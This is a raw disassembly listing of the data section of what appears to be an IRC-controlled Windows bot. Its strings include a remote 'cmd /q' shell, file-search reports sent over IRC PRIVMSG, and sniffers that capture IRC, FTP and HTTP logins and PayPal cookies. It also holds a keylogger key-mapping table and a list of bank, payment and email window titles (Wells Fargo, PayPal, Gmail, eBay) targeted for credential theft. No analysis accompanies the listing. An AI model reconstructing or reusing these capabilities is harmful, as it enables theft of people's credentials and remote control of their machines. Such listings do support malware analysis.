unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset loc_505445+1	; DATA XREF: ___:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
